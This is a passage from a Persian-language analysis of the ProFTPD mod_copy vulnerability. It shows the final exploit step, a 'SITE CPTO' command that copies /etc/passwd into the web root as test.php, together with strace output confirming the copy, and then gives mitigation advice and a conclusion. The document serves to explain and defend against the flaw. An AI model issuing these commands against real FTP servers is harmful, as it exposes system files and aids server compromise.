تصویر 29: ارسال دستور دوم به سمت سرور

در مرحلهٔ نهایی اکسپلویت، دستور زیر بلافاصله اجرا می‌شود:

SITE CPTO /var/www/html/test.php

تصویر 30: ارسال دستور سوم به سمت سرور

این دستور محتوای توصیف‌گر فایل fd/5 (که پیش‌تر خوانده شد) را مستقیماً در مسیر وب‌سرور کپی می‌کند. نتیجه نهایی، ایجاد فایلی با محتوای /etc/passwd تحت عنوان یک اسکریپت PHP در دایرکتوری قابل دسترسی از طریق وب است.

read(0, "site cpto /var/www/html/test.php"..., 4102) = 34
newfstatat(AT_FDCWD, "/proc/self/fd/5", {st_mode=S_IFLNK | 0500, st_size = 64, ... }, AT_SYMLINK_NOFOLLOW) = 0
readlink("/proc/self/fd/5", "/etc/passwd", 1023) = 11
symlink("/etc/passwd", "/var/www/html/test.php") = 0
write(1, "250 Copy successful\r\n", 21) = 21

تصویر 30: ارسال دستور سوم به سمت سرور

تصویر 31: خروجی نهایی اکسپلویت
تصویر 32: نمای کلی از روند اکسپلویت

راهکارهای جلوگیری از آسیب‌پذیری

برای جلوگیری از بهره‌برداری از این آسیب‌پذیری، راهکارهای زیر پیشنهاد می‌شوند:

  • غیرفعال‌سازی ماژول‌های غیرضروری: ماژول mod_copy تنها در موارد خاص مورد نیاز است. مطابق با اصل حداقل امتیاز (Principle of Least Privilege)، در صورت عدم نیاز ضروری، این ماژول و سایر ماژول‌های غیرحیاتی را به‌طور کامل غیرفعال نمایید.
  • محدودسازی سختگیرانه دسترسی کاربران ناشناس: دسترسی کاربران ناشناس را به‌طور کامل غیرفعال کنید. در صورتی که امکان غیرفعال‌سازی کامل وجود ندارد، دسترسی آنان را به یک دایرکتوری ایزوله و فاقد هرگونه مجوز نوشتن (Read-Only) محدود سازید.
  • اعمال محدودیت‌های شدید در دسترسی فایل‌سیستم: از محیط Chroot Jail برای محدود کردن کاربران به دایرکتوری home استفاده کنید. مطمئن شوید کاربری که سرویس ProFTPD تحت آن اجرا می‌شود (مانند nobody یا proftpd)، فاقد کوچک‌ترین مجوز نوشتن در دایرکتوری‌های حساس سیستم (نظیر /var/www/, /etc/, /bin/) است.
  • فعال‌سازی مانیتورینگ و ثبت فعالیت کاربران: قابلیت مانیتورینگ را برای تمامی دستورات و فعالیت‌های کاربران، به‌ویژه دستورات SITE، فعال کرده و از یک سیستم SIEM برای تحلیل و دریافت هشدارهای لحظه‌ای در مورد فعالیت‌های مشکوک (مانند درخواست‌های CPFR به مسیرهای حساس) استفاده نمایید.
  • استفاده از لایه‌های امنیتی اضافه: سرور FTP را پشت یک فایروال WAF یا سیستم IDS/IPS مستقر کنید تا ترافیک مخرب و درخواست‌های غیرعادی شناسایی و مسدود شوند. دسترسی به پورت سرویس FTP را در فایروال شبکه، تنها به آی‌پی‌های معتبر و مورد نیاز محدود نمایید.

نتیجه‌گیری

آسیب‌پذیری در ماژول mod_copy سرور ProFTPD نمونه‌ای بارز از یک تهدید امنیتی است که از ترکیب یک باگ نرم‌افزاری و پیکربندی ناامن سرور به وجود می‌آید. این آسیب‌پذیری به مهاجمان امکان می‌دهد با دور زدن مکانیزم‌های احراز هویت و اعتبارسنجی، به فایل‌های حساس سیستم عامل دسترسی یافته و در نهایت کنترل سرور را به دست آورند.

بررسی‌ها نشان داد که ریشه اصلی مشکل در فعال بودن پیش‌فرض دستورات SITE CPFR و SITE CPTO برای تمامی کلاینت‌ها، حتی کاربران ناشناس بوده است. اصلاحات بعدی شامل افزودن امکان غیرفعالسازی ماژول CopyEngine، اجبار به احراز هویت پیش از اجرای دستورات و ثبت دقیق لاگ‌ها، سطح امنیتی نرم‌افزار را به میزان قابل‌توجهی افزایش داد.